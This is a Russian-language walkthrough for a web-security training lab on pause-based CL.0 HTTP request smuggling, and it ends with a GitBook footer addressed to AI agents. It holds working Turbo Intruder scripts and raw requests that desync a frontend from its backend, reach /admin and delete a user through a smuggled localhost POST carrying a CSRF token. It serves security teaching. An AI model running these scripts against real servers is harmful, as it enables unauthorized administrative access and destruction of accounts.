> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/server-side-pause-based-request-smuggling.md).

# Серверная путаница запросов на основе паузы

### Смuggling запросов на стороне сервера на основе паузы

Лаборатория уязвима к атаке смuggling запросов на стороне сервера на основе паузы. Фронтальный сервер непрерывно передаёт запросы внутреннему серверу, а внутренний сервер не закрывает соединение после периода бездействия на некоторых конечных точках.

Чтобы решить лабораторную работу:

* Определите вектор десинхронизации **CL.0** на основе паузы,
* Внедрите запрос на внутренний сервер, чтобы получить доступ к панели администратора **/admin**,
* Затем удалите пользователя **carlos**.

**Примечание**/ Некоторые такие уязвимости нельзя эксплуатировать с помощью встроенных инструментов Burp. Необходимо использовать **Turbo Intruder** расширение.

<figure><img src="/files/29c2ccc0124e465e6fce5060ed227e5a719522ca" alt=""><figcaption></figcaption></figure>

#### **Уязвимая точка: `/resources`**

Отправив запрос на `/resources` и вставив длительную паузу (61 секунда), можно вызвать десинхронизацию между фронтендом и бэкендом:

```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```

Чтобы использовать это поведение, мы используем **Turbo Intruder**.

<figure><img src="/files/c13b29e6360d715882f0435bb2e5361b0033b699" alt=""><figcaption></figcaption></figure>

#### **Базовый скрипт**

Скрипт по умолчанию изменён, чтобы вставить паузу в **61 000 мс** после отправки маркера (`pauseMarker`), чтобы второй запрос был внедрён после задержки:

<figure><img src="/files/d0552aefc9586a45cc795a5ece21a63786b8528e" alt=""><figcaption></figcaption></figure>

Анализ показывает, что два запроса приходят на бэкенд примерно через **62 секунды**, что подтверждает уязвимость.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/687bcd71fdfff979c05d527a9dc380043266868c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b3a17fe2f7e402e28e9084e9f108f320fa82d53a" alt=""><figcaption></figcaption></figure>

#### **Инъекция в направлении `/admin/`**

Адаптируя внедрённый запрос к панели администратора:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

Внутренний сервер отвечает **Найдено**, что доказывает, что доступ администратора был принудительно получен.

<figure><img src="/files/cfd271ebd14c26ad20ea03feab193f9067d8194e" alt=""><figcaption></figcaption></figure>

#### **Удаление пользователя Carlos**

Чтобы обойти защиту CSRF, хост внедрённого запроса изменяется на **localhost**, включая тело POST-запроса с перехваченным токеном:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53

csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

Инъекция вызывает внедрённый POST-запрос на внутреннем сервере, который удаляет пользователя **carlos**.

<figure><img src="/files/d7db210e34c662136cb1ed30564bd5c4de4f2966" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/server-side-pause-based-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
